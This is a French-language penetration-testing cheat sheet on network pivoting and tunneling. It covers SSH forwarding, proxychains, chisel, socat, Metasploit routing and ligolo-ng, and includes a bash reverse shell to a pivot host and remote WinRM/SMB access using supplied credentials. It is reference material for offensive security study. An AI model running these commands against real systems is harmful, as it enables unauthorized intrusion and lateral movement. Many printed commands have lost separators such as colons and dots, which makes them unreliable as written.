pivotingtunnelingchisel
MDstable
Pivoting & Tunneling
Techniques de pivoting réseau et création de tunnels
snippetadvanced 2025-05-10 3 min read
pivotingtunnelingchiselsshproxychainssocks5
SSH Tunneling
Port forwarding local
bash
Variables
{{REMOTE_PORT}}
{{LOCAL_PORT}}
{{TARGET_INTERNAL}}
{{USER}}
{{PIVOT_HOST}}
# Accéder au port {{REMOTE_PORT}} de la cible via localhost:{{LOCAL_PORT}}ssh -L {{LOCAL_PORT}}{{TARGET_INTERNAL}}{{REMOTE_PORT}} {{USER}}{{PIVOT_HOST}}# Exemple : accéder à RDP internessh -L 33891921681103389 userpivothost
Port forwarding distant (reverse)
bash
Variables
{{REMOTE_PORT}}
{{LOCAL_PORT}}
{{USER}}
{{PIVOT_HOST}}
# Exposer un port local sur le pivot (utile quand la cible est derrière NAT)ssh -R {{REMOTE_PORT}}localhost{{LOCAL_PORT}} {{USER}}{{PIVOT_HOST}}
Dynamic SOCKS proxy
bash
Variables
{{USER}}
{{PIVOT_HOST}}
{{TARGET_INTERNAL}}
# Créer un proxy SOCKS5 sur localhost:1080ssh -D 1080 -N {{USER}}{{PIVOT_HOST}}# Configurer proxychainsecho "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf# Scanner via le proxyproxychains nmap -sT -Pn {{TARGET_INTERNAL}}proxychains curl http//{{TARGET_INTERNAL}}
Chisel
Serveur (côté attaquant)
bash
Variables
{{CHISEL_PORT}}
# SOCKS5 reverse/chisel server -p {{CHISEL_PORT}} --reverse# Écoute sur 0.0.0.0:{{CHISEL_PORT}}
Client (côté cible)
bash
Variables
{{LHOST}}
{{CHISEL_PORT}}
{{LOCAL_PORT}}
{{TARGET_INTERNAL}}
{{REMOTE_PORT}}
# Reverse SOCKS5/chisel client {{LHOST}}{{CHISEL_PORT}} Rsocks# Reverse port forward/chisel client {{LHOST}}{{CHISEL_PORT}} R{{LOCAL_PORT}}{{TARGET_INTERNAL}}{{REMOTE_PORT}}
Configurer proxychains après chisel
bash
Variables
{{TARGET_INTERNAL}}
{{USER}}
{{PASSWORD}}
# /etc/proxychains4.confsocks5 127001 1080# Utiliserproxychains evil-winrm -i {{TARGET_INTERNAL}} -u {{USER}} -p {{PASSWORD}}proxychains python3 -m impacketsmbclient //{{TARGET_INTERNAL}}/share
Socat
Port relay simple
bash
Variables
{{LOCAL_PORT}}
{{TARGET_INTERNAL}}
{{REMOTE_PORT}}
# Sur le pivot : relayer les connexions vers la cible internesocat TCP-LISTEN:{{LOCAL_PORT}},fork TCP{{TARGET_INTERNAL}}{{REMOTE_PORT}}
Relay reverse shell
bash
Variables
{{RELAY_PORT}}
{{LHOST}}
{{LPORT}}
{{PIVOT_HOST}}
# Sur le pivot (écoute et relaie vers l'attaquant)socat TCP-LISTEN:{{RELAY_PORT}},fork TCP{{LHOST}}{{LPORT}}# Sur la cible (reverse shell vers le pivot)bash -i >& /dev/tcp/{{PIVOT_HOST}}{{RELAY_PORT}} 0>&1
Metasploit — route et SOCKS
bash
Variables
{{INTERNAL_SUBNET}}
{{SESSION_ID}}
{{TARGET_INTERNAL}}
# Dans meterpreter sur le pivotrun post/multi/manage/autoroute SUBNET{{INTERNAL_SUBNET}} NETMASK2552552550# Ajouter une route manuellebackgroundroute add {{INTERNAL_SUBNET}}/24 {{SESSION_ID}}# Créer un SOCKS proxy Metasploituse auxiliary/server/socks_proxyset SRVPORT 1080set VERSION 5run# Utiliser proxychainsproxychains nmap -sT {{TARGET_INTERNAL}}
Ligolo-ng
Serveur (attaquant)
bash
/proxy -selfcert -laddr 000011601
Agent (cible / pivot)
bash
Variables
{{LHOST}}
/agent -connect {{LHOST}}11601 -ignore-cert
Dans la console Ligolo
bash
Variables
{{INTERNAL_SUBNET}}
{{TARGET_INTERNAL}}
# Lister les sessionssession# Sélectionner la session1# Démarrer le tunnelstart# Ajouter une route réseau (côté attaquant)ip route add {{INTERNAL_SUBNET}}/24 dev ligolo# Accès direct sans proxychainsnmap {{TARGET_INTERNAL}}
Double pivot
bash
Variables
{{LHOST}}
{{PIVOT2}}
# Chisel : attaquant -> pivot1 -> pivot2 -> cible# Sur attaquant :/chisel server -p 8080 --reverse# Sur pivot1 :/chisel client {{LHOST}}8080 R1080socks# Via proxychains, lancer un deuxième chisel depuis pivot1 vers pivot2proxychains /chisel client {{PIVOT2}}8080 R1081socks# /etc/proxychains4.conf# socks5 127.0.0.1 1080# socks5 127.0.0.1 1081
💡 Tip —
Ligolo-ng est généralement plus performant que chisel pour les environnements avec beaucoup de trafic. Chisel est plus simple à déployer pour des accès ponctuels.
OPS·BRAIN v1.075 notes · Securitylocal